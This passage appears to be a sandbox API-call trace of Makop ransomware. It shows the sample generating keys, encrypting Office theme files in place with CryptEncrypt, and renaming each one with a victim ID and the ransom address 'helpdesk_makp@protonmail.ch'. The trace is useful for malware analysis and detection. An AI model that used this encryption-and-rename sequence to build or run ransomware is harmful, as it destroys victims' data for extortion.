CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.962] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.963] GetProcessHeap () returned 0x48a0000 [0096.963] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.963] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.963] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.963] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.963] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.964] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.964] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.964] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.964] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.964] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.964] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.964] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.965] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6fb3, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6fb3, lpOverlapped=0x0) returned 1 [0096.966] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6fc0, dwBufLen=0x6fc0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6fc0) returned 1 [0096.967] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.967] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6fc0, lpOverlapped=0x0) returned 1 [0096.967] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.967] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x7094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.968] SetEndOfFile (hFile=0x138) returned 1 [0096.974] GetProcessHeap () returned 0x48a0000 [0096.974] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.975] GetProcessHeap () returned 0x48a0000 [0096.975] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.975] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0096.975] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.976] CloseHandle (hObject=0x138) returned 1 [0096.976] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0096.976] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0096.976] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0096.976] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE") returned 64 [0096.976] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*") returned 68 [0096.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0096.977] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.977] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0096.977] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM") returned 77 [0096.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.979] GetProcessHeap () returned 0x48a0000 [0096.979] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.979] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.979] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.979] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.983] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.983] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.983] GetProcessHeap () returned 0x48a0000 [0096.983] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.983] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.984] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.984] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.984] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.984] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.984] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.984] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.984] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.985] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.985] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.985] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.985] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x116dc, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x116dc, lpOverlapped=0x0) returned 1 [0096.987] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x116e0, dwBufLen=0x116e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x116e0) returned 1 [0096.988] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.988] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x116e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x116e0, lpOverlapped=0x0) returned 1 [0096.989] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.989] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x117b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.989] SetEndOfFile (hFile=0x138) returned 1 [0096.996] GetProcessHeap () returned 0x48a0000 [0096.996] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.996] GetProcessHeap () returned 0x48a0000 [0096.996] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.996] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0096.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.997] CloseHandle (hObject=0x138) returned 1 [0096.998] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0096.998] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF") returned 77 [0096.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.999] GetProcessHeap () returned 0x48a0000 [0096.999] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.999] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.999] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.999] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0097.003] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.003] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.003] GetProcessHeap () returned 0x48a0000 [0097.003] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.003] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.003] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.003] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.003] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.003] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.004] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.004] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.004] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.004] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.004] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.004] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x239, lpOverlapped=0x0) returned 1 [0097.005] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x240, dwBufLen=0x240 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x240) returned 1 [0097.005] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.005] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x240, lpOverlapped=0x0) returned 1 [0097.005] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.005] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.005] SetEndOfFile (hFile=0x138) returned 1 [0097.011] GetProcessHeap () returned 0x48a0000 [0097.011] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.011] GetProcessHeap () returned 0x48a0000 [0097.011] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.011] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0097.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.016] CloseHandle (hObject=0x138) returned 1 [0097.016] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0097.016] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0097.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.017] GetProcessHeap () returned 0x48a0000 [0097.017] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.017] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.017] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.017] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0097.021] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.021] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.021] GetProcessHeap () returned 0x48a0000 [0097.021] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.022] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.022] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.022] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.022] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.022] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.022] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.022] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.023] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.023] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.023] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.023] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.023] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf75, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xf75, lpOverlapped=0x0) returned 1 [0097.023] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xf80, dwBufLen=0xf80 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xf80) returned 1 [0097.023] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.023] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, 